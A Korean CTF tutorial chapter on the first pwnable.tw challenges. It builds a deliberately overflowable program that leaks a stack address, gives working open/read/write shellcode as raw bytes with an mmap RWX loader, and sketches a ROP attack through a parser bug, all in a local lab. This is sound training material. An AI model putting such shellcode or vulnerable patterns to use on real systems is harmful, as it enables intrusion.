Step 213. pwnable.tw 쉬운 문제 3개 — 소스 없는 세계로
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★★ | 예상 소요 시간 12시간 (여러 날에 나눠 권장)
전제: Step 209(pwnable.kr 완주), Step 210(GOT/PLT), Step 203(쉘코드 작성). objdump와 gdb 디스어셈블리.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. pwnable.tw는 풀라고 만들어진 합법 학습 플랫폼입니다.
- 준비물: WSL 우분투(gcc, gdb, objdump), 파이썬 + pwntools. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, pwntools 4.15.0입니다.
- 주의: pwnable.tw 서버에는 이 환경에서 접속하지 않습니다. 서버 장면은 "화면 예시"이고, 세 문제의 핵심 기술(심볼 없는 바이너리 분석, orw 쉘코드)은 로컬 재현으로 실측합니다.
pwnable.kr의 Toddler’s Bottle을 졸업했다면, 다음 관문은 pwnable.tw입니다. 겉모습은 비슷한 워게임이지만 한 가지가 결정적으로 다릅니다 — 소스를 주지 않는 문제가 많다는 것. 지금까지의 "소스 읽기 → 역산" 루틴이 "바이너리 분석 → 가설 → 검증"으로 바뀌는 지점입니다. 오늘은 초반 세 문제(start, orw, calc)의 사고법을 배우고, 핵심 기술 두 개를 로컬에서 직접 실측합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- pwnable.kr과 pwnable.tw의 난이도·구성 차이를 설명한다
- strip된 바이너리(심볼 없음)를 objdump/gdb로 분석하는 첫 절차를 밟는다
- start 문제의 뼈대 — 스택 주소 leak과 쉘코드 주소 계산을 재현한다
- orw 문제의 뼈대 — seccomp 제약과 open/read/write 쉘코드를 로컬에서 실행한다
- calc 문제 같은 파서 버그의 접근 전략을 세운다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | C + 어셈블리 읽기 + 파이썬/pwntools (실측: Ubuntu 24.04, gcc 13.3.0, gdb 15.1) |
| 오늘의 명령어 | file, objdump -d, gdb disas, shellcraft.amd64.linux.cat(...), asm(...), mmap 쉘코드 로더 |
| 필요한 개념 | strip과 심볼, 스택 주소 leak, seccomp(시스템 콜 필터), orw 쉘코드, 파서 버그 |
| 오늘의 산출물 | strip 바이너리 분석 기록 + orw 쉘코드 로컬 실행 로그 + 세 문제 공략 카드 |
2-1. pwnable.kr과의 차이 — 무엇이 어려워지는가
| pwnable.kr (Toddler’s Bottle) | pwnable.tw (초반) | |
|---|---|---|
| 소스 | 대부분 제공 | 대부분 미제공 |
| 비트 수 | 32비트 위주 | 64비트 위주 |
| 보호 기법 | 느슨 (연습용) | NX 기본, 문제에 따라 더 |
| 요구 기술 | 조건 역산 | 바이너리 분석 + leak + 쉘코드/ROP |
핵심 변화는 하나입니다 — 분석해야 할 대상이 소스 텍스트에서 기계어로 바뀝니다. 다행히 도구는 이미 갖췄습니다. Step 177의 gdb disassemble, Step 210의 objdump가 오늘부터 주력 무기입니다.
2-2. strip — 이름표를 뗀 바이너리
컴파일된 바이너리에는 원래 함수 이름(심볼)이 적혀 있습니다. strip은 그 이름표를 떼어 main 같은 이름이 사라집니다 — 상용 프로그램과 pwnable.tw 문제의 기본 상태입니다. 이름이 없어도 기계어는 그대로라서, 디스어셈블리와 호출 흐름(누가 누구를 부르는가)으로 구조를 역추적합니다. 오늘 3-1에서 직접 겪습니다.
2-3. seccomp — 허용된 시스템 콜만 쓴다
orw 문제의 제목(open-read-write) 자체가 힌트인 이유: 서버의 바이너리에 seccomp(secure computing mode — 시스템 콜 필터)이 걸려 있어 execve가 막혀 있습니다. 즉 /bin/sh 쉘코드(Step 203)가 소용없습니다. 대신 파일을 열고(open) 읽고(read) 출력(write)하는 세 시스템 콜로 플래그를 직접 읽어야 합니다 — 방화벽이 정문을 막았으면 창문 세 개로 들어가는 격입니다.
2-4. leak — 주소를 흘려 보내는 프로그램
ASLR 시대의 공격은 주소를 몰라서 못 합니다. 그래서 프로그램이 무심코 주소를 출력해 주는 것(leak)이 공격의 첫 단추입니다. start 문제는 스택 주소를 출력해 줍니다 — 그 주소와 오프셋으로 "내 쉘코드가 놓인 주소"를 계산하는 것이 문제의 뼈대입니다. Step 210의 setarch -R로 껐던 ASLR과의 정면 승부가 시작되는 것입니다.
3. 따라 하기
3-1. start 재현 — 이름표 없는 바이너리와 스택 leak
start 문제의 뼈대를 모사한 프로그램을 만들고, strip까지 해서 "이름 없는 바이너리 분석"을 그대로 겪어 봅니다.
입력 (mini_start.c)
#include <stdio.h>
#include <unistd.h>
int main(void) {
char buf[20];
printf("stack hint: %p\n", buf); /* start 문제처럼 스택 주소를 흘린다 */
fflush(stdout);
read(0, buf, 100); /* 길이 초과 — 오버플로우 */
return 0;
}
cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o mini_start mini_start.c
strip mini_start
file mini_start
mini_start.c:7:5: warning: 'read' writing 100 bytes into a region of size 20 overflows the destination [-Wstringop-overflow=]
mini_start: ELF 64-bit LSB executable, x86-64, ..., stripped
(2026-09-09 실측. 컴파일러가 이미 오버플로우를 경고하고, file 결과 끝의 stripped가 "이름표 없음"입니다.)
분석 — 이름 없는 세계에서 길 찾기:
objdump -d mini_start | grep -E "call|lea" | head -8
401014: ff d0 call *%rax
4010af: ff 15 23 2f 00 00 call *0x2f23(%rip) # 403fd8 <fflush@plt+0x2f58>
401151: e8 7a ff ff ff call 4010d0 <fflush@plt+0x50>
401182: 48 8d 45 e0 lea -0x20(%rbp),%rax
401189: 48 8d 05 74 0e 00 00 lea 0xe74(%rip),%rax # 402004 <fflush@plt+0xf84>
401198: e8 c3 fe ff ff call 401060 <printf@plt>
4011a7: e8 d4 fe ff ff call 401080 <fflush@plt>
4011ac: 48 8d 45 e0 lea -0x20(%rbp),%rax
(2026-09-09 실측.)
출력 읽는 법: main이라는 이름은 사라졌지만 단서는 남습니다.
call printf@plt,call fflush@plt— 라이브러리 호출은 이름이 보입니다 (PLT는 동적 링크라 심볼이 남습니다 — Step 210의 구조 덕분).- 그 호출들 바로 위의
lea -0x20(%rbp),%rax— printf와 read에 넘길 버퍼 주소. rbp-0x20, 32바이트 자리. - 이 두 단서로 "여기가 printf에 스택 주소를 넘기고, read로 100바이트를 받는 main"임을 역추적합니다. 이름표가 없어도 행동은 읽힙니다.
leak 확인 — 스택 주소가 흘러나온다:
printf "AAAAAAAAAAAA\n" | ./mini_start
stack hint: 0x7fffe697eb20
(2026-09-09 실측. 주소는 실행마다 다릅니다 — ASLR이 켜진 상태 그대로입니다.)
읽는 법: 프로그램이 버퍼의 스택 주소(0x7fff... — 스택 영역 특유의 높은 주소)를 스스로 알려 줍니다. 실제 start 문제의 익스플로잇은 이것을 받아서, "리턴 주소를 (leak된 주소 + 오프셋)으로 덮고, 그 자리에 쉘코드를 까는" 흐름입니다. 오늘은 leak과 오프셋 계산 감각까지가 목표 — 전체 체인은 Step 214에서 종합합니다.
3-2. orw 재현 — execve 없이 플래그 읽기
orw의 핵심 기술 — open/read(여기서는 sendfile)/write로만 이뤄진 쉘코드 — 를 pwntools로 생성해 로컬에서 직접 실행해 봅니다.
cd ~/lab209_213
echo "FLAG{0rw_sh3llc0de_l0c4l}" > flag.txt
쉘코드 생성 (pwntools)
from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.cat("flag.txt") + shellcraft.amd64.linux.exit(0)
print(sc)
code = asm(sc)
print("길이:", len(code), "bytes")
/* push b'flag.txt\x00' */
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push SYS_open /* 2 */
pop rax
...
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
...
syscall
길이: 51 bytes
(2026-09-09 실측, pwntools 4.15.0.)
읽는 법: shellcraft가 어셈블리를, asm이 기계어 51바이트를 만들어 줍니다. 보이는 시스템 콜은 open(2)과 sendfile(0x28)뿐 — execve(59)는 어디에도 없습니다. 이것이 seccomp 환경에서도 통하는 이유입니다 (sendfile은 "파일에서 fd로 직접 복사"하는 시스템 콜로, read+write를 한 방에 합니다).
로컬 실행 — mmap 로더:
입력 (sc_run.c)
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/* pwntools: shellcraft.amd64.linux.cat("flag.txt") + exit(0), asm() 결과 51바이트 */
unsigned char sc[] =
"\x6a\x01\xfe\x0c\x24\x48\xb8\x66\x6c\x61\x67\x2e\x74\x78"
"\x74\x50\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba"
"\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99"
"\x0f\x05\x31\xff\x6a\x3c\x58\x0f\x05";
int main(void) {
void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(p, sc, sizeof(sc) - 1);
printf("쉘코드 %zu bytes 실행:\n", sizeof(sc) - 1);
fflush(stdout);
((void (*)(void))p)();
return 0;
}
gcc -o sc_run sc_run.c
./sc_run
쉘코드 51 bytes 실행:
FLAG{0rw_sh3llc0de_l0c4l}
(2026-09-09 실측.)
읽는 법: mmap으로 실행 가능한(RWX) 메모리를 빌려 쉘코드를 옮기고 함수처럼 불렀습니다. 51바이트의 기계어가 flag.txt를 열어 내용을 출력하고 깨끗이 종료했습니다 — 쉘 없이 파일을 읽는 orw의 본질 그대로입니다. 실제 orw 문제에서는 이 바이트들을 서버의 read 입력으로 보내고, 서버가 우리 쉘코드로 점프하게 만드는 것이 나머지 절반입니다.
화면 예시 — 실제 orw 서버의 seccomp 확인
$ seccomp-tools dump ./orw line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch ... 0007: 0x06 0x00 0x01 0x7fff0000 return ALLOW (허용 목록에 open, read, write만 있고 execve는 없음)이 환경에는 seccomp-tools가 없어 실측하지 못했습니다 — 서버 문제에서는 이 도구로 "무엇이 허용인가"를 먼저 확인하세요.
3-3. calc — 파서 버그의 사고법 (전략 카드)
calc는 소스 없이 주어지는 "계산기" 프로그램입니다. 분석 결과의 뼈대(공개된 문제 구조 기준):
- 표현식을 파싱하는 과정에 배열 인덱스 오류가 있어, 계산 결과가 스택의 엉뚱한 위치에 쓰입니다
- 그 위치에는 저장된 리턴 주소가 있고 → 정수를 "쓰는" 계산으로 ROP 체인을 깔 수 있습니다
접근 순서는 같습니다 — ① objdump -d로 파싱 루프를 찾는다 ② gdb에 임의 입력을 넣으며 스택의 어느 위치가 오염되는지 관찰한다 ③ 오염 위치가 리턴 주소와 겹치는지 확인한다. 새로운 기술이 아니라, 3-1의 "이름 없는 분석"과 Step 209의 "오프셋 재기"의 조합입니다.
3-4. 세 문제 공략 카드 — 정리
[start] 단서: 스택 주소 출력(leak) + 길이 초과 입력
경로: leak 받기 → 오프셋 계산 → 리턴 주소 = 쉘코드 주소
기술: 심볼 없는 분석, 스택 leak, 쉘코드
[orw] 단서: execve가 막힘(seccomp), 입력을 실행해 주는 구조
경로: open/read/write(또는 sendfile) 쉘코드 전송
기술: shellcraft, seccomp 확인, orw 쉘코드
[calc] 단서: 계산기 파서의 인덱스 오류
경로: 파싱 루프 분석 → 스택 오염 위치 확인 → ROP
기술: 바이너리 분석, 오프셋 재기, ROP (Step 214에서 종합)
4. 미션과 연습문제
미션 — 나만의 orw 쉘코드
shellcraft.amd64.linux의 문서(pydoc또는help(shellcraft.amd64.linux))에서 open, read, write, exit을 찾는다- sendfile 대신 open + read + write 세 시스템 콜로 flag.txt를 읽는 쉘코드를 조립한다 (힌트:
shellcraft.amd64.linux.open("flag.txt")+read+write+exit) - sc_run.c의 바이트를 교체해 로컬에서 실행해 플래그를 출력한다
- 두 쉘코드(cat 버전/직접 조립 버전)의 바이트 길이를 비교해 노트에 적는다
연습문제
문제 1. strip된 바이너리에서도 printf@plt 같은 이름은 남아 있었습니다(3-1 실측). 왜 strip은 라이브러리 함수의 이름을 지우지 못하나요?
문제 2. start 문제에서 프로그램이 흘려 준 0x7fffe697eb20이 스택 주소라고 어떻게 알 수 있나요? 그리고 ASLR이 켜져 있어도 이 leak이 유용한 이유는 무엇인가요?
문제 3. orw 문제에서 Step 203의 /bin/sh 쉘코드가 소용없는 이유와, sendfile이 read+write를 대신할 수 있는 원리를 설명하세요.
문제 4. calc 같은 "파서 버그" 문제의 분석 첫 세 단계를 순서대로 적으세요.
5. 모범 답안과 완료 기준
미션 모범 답안
from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.open("flag.txt", 0)
sc += shellcraft.amd64.linux.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.linux.write(1, "rsp", "rax")
sc += shellcraft.amd64.linux.exit(0)
code = asm(sc)
print(len(code)) # cat 버전(51)보다 길다 — 세 시스템 콜이니 정상
read가 읽은 바이트 수(rax)를 write의 길이로 넘기는 연결이 핵심입니다. sc_run.c의 sc[]를 새 바이트로 교체해 실행하면 같은 플래그가 출력됩니다. 검증하는 법: ① 플래그가 출력됐는가, ② 어셈블리에 execve가 없고 open/read/write만 있는가, ③ 길이 비교가 노트에 있는가.
연습문제 해답
문제 1 해답. 라이브러리 함수 호출은 PLT를 거치고(Step 210), PLT-GOT 연결은 동적 심볼 테이블에 의존하기 때문입니다. strip은 정적 심볼(함수 이름표)만 지우고, 동적 링크에 필요한 동적 심볼은 지우면 프로그램이 실행되지 않으므로 남습니다. 그래서 strip 바이너리 분석의 첫 단서가 "PLT로 가는 call들"입니다.
문제 2 해답. 리눅스 x86-64 사용자 공간에서 스택은 주소 공간의 높은 쪽(0x7fff...)에 배치되고, 힙·라이브러리는 그보다 낮은 0x7f... 대역에, PIE 없는 바이너리는 0x40...에 놓입니다. 접두사만으로 구역을 짐작할 수 있습니다. ASLR 하에서도 유용한 이유는, leak이 이번 실행의 실제 주소를 알려 주기 때문입니다 — 무작위 베이스 위에 올라가도, 그 베이스를 알면 오프셋 계산으로 목표 주소를 얻을 수 있습니다.
문제 3 해답. /bin/sh 쉘코드의 마지막은 execve 시스템 콜인데, seccomp 필터가 그 콜을 차단(프로세스 kill 또는 오류 반환)하므로 쉘이 뜨지 않습니다. sendfile(out_fd, in_fd, …)은 커널 안에서 파일 내용을 다른 fd(stdout)로 직접 복사하는 시스템 콜이라, 사용자 코드에서 read→write를 반복할 필요가 없습니다. 허용 목록에 있는 콜들만으로 파일 읽기를 완성하는 것이 orw입니다.
문제 4 해답. ① objdump -d로 입력을 파싱하는 루프를 찾는다(PLT 호출과 비교·점프 패턴이 단서), ② gdb로 임의의 입력을 넣으며 스택의 어느 위치가 입력값으로 오염되는지 관찰한다, ③ 오염 위치와 저장된 리턴 주소의 거리(오프셋)를 재고 조작할 값을 설계한다. 순서는 어떤 바이너리 문제든 같습니다 — 분석, 관찰, 계산.
완료 기준 체크리스트
- [ ] pwnable.kr과 pwnable.tw의 차이(소스 유무, 비트 수, 보호 기법)를 설명할 수 있다
- [ ] strip된 바이너리에서 PLT 호출을 단서로 main의 행동을 역추적했다
- [ ] 스택 주소 leak의 모습(
0x7fff...)과 유용한 이유를 설명할 수 있다 - [ ] seccomp가 시스템 콜 필터임을, orw가 그 우회 전략임을 설명할 수 있다
- [ ] shellcraft + asm으로 orw 쉘코드를 만들고 mmap 로더로 로컬 실행했다
- [ ] start/orw/calc 세 문제의 공략 카드를 정리했다
- [ ] 미션: open+read+write 조립 쉘코드로 플래그를 출력했다
6. 흔한 실수와 해결
벽 1. strip 바이너리를 열었더니 main이 없다
증상: gdb에서 disassemble main이 안 됩니다.
원인: 이름표가 떨어진 정상 상태입니다.
해결: 두 가지 길이 있습니다 — ① objdump -d에서 printf@plt 등 라이브러리 call을 찾아 그 주변을 읽기 (3-1의 방법), ② gdb에서 break 대신 엔트리포인트부터 추적. 이름이 없을 때는 행동(무엇을 부르는가) 이 지도입니다.
벽 2. 쉘코드를 .data에 두고 실행했다가 세그폴트
증상: unsigned char sc[]를 전역으로 두고 함수 포인터로 부르자 Segmentation fault (core dumped) (이 챕터 집필 중 실제로 겪은 실패, 2026-09-09).
원인: 전역 배열은 실행 권한이 없는 데이터 영역에 있습니다. NX(Step 62) 덕분에 데이터는 실행되지 않습니다.
해결: 오늘의 sc_run.c처럼 mmap으로 PROT_EXEC 페이지를 받아 거기로 옮기세요. 참고로 이 실패 자체가 "실전에서는 왜 쉘코드를 실행 가능한 영역에 깔아야 하는가"의 답입니다.
벽 3. leak된 주소로 계산했는데 한 칸 어긋난다
증상: 리턴 주소를 쉘코드 주소로 덮었는데 crash.
원인: 오프셋 계산의 1바이트 오차, 또는 leak된 주소가 가리키는 지점(버퍼 시작? 그 앞?)을 잘못 가정한 경우입니다.
해결: gdb로 같은 입력에서 버퍼 주소와 저장된 리턴 주소의 위치를 같이 찍어 거리를 재세요. 추측으로 더하지 말고 관찰로 재는 것이 원칙입니다 (Step 209의 오프셋 계산과 같은 자세).
벽 4. shellcraft 함수 이름을 모른다
증상: 원하는 시스템 콜의 shellcraft 이름을 못 찾겠습니다.
원인: 처음엔 다들 그렇습니다.
해결: 파이썬에서 help(shellcraft.amd64.linux)로 목록을 보세요. open, read, write, exit, cat 등이 있고, 각 함수는 어셈블리 문자열을 반환합니다 — +로 이어 붙이면 됩니다 (3-2와 미션이 그 패턴).
벽 5. "소스가 없으니 못 풀겠다"는 막막함
증상: pwnable.kr까지는 소스가 있었는데, 갑자기 벽이 느껴집니다.
원인: 정상적인 전환 통증입니다. 소스 읽기의 습관이 아직 기계어로 옮겨지지 않았을 뿐입니다.
해결: 오늘 3-1에서 했던 것처럼 아주 작은 strip 바이너리부터 연습하세요. 자기가 쓴 코드의 디스어셈블리와 대조하면 "C 한 줄이 어셈블리 몇 줄인지"의 대응표가 생기고, 그것이 바이너리 분석의 시력입니다. 처음엔 느립니다 — 그래서 calc까지 하루에 끝내려 하지 마세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| strip | 정적 심볼(이름표)을 뗀 바이너리 — 동적 심볼(PLT)은 남는다 |
| 바이너리 분석 | PLT 호출과 디스어셈블리로 프로그램의 행동을 역추적하는 기술 |
| leak | 프로그램이 주소를 흘려 주는 것 — ASLR 시대 공격의 첫 단추 |
| seccomp | 허용된 시스템 콜만 통과시키는 커널 필터 |
| orw 쉘코드 | execve 없이 open/read/write(또는 sendfile)로 파일을 읽는 쉘코드 |
| 파서 버그 | 입력 해석 로직의 인덱스 오류 — 계산이 곧 쓰기가 되는 구멍 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
strip ./바이너리 |
심볼 제거 — 분석 연습용 상태 만들기 |
objdump -d ./바이너리 | grep call |
라이브러리 호출 단서 찾기 |
shellcraft.amd64.linux.cat("파일") |
파일 읽기 쉘코드(어셈블리) 생성 |
asm(어셈블리) |
어셈블리를 기계어 바이트로 변환 |
mmap(..., PROT_READ|PROT_WRITE|PROT_EXEC, ...) |
실행 가능한 메모리 확보 (쉘코드 로더) |
help(shellcraft.amd64.linux) |
사용 가능한 쉘크래프트 목록 보기 |
명령어보다 중요한 감각
pwnable.tw의 입구에서 배우는 것은 "소스가 없어도 프로그램은 읽힌다"는 자신감입니다. 이름표가 없어도 printf를 부르는 call은 보이고, 주소를 출력하는 프로그램은 스스로 지도를 흘립니다. 분석 → 관찰 → 계산 — 이 세 박자는 소스가 있을 때도 없을 때도 같습니다.
그리고 orw가 보여 준 것 — 막힌 길(execve)이 있으면 허용된 길(open/read/write)로 목적지를 바꾸는 사고방식 — 은 Pwn 전체의 태도입니다. 완벽한 방어는 없고, 허용 목록의 조합이 곧 공격면입니다. Canary와 NX가 겹쳐진 바이너리의 종합 공략(Step 214)도 결국 이 태도의 연장입니다.
전부 체크되면 Step 213 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.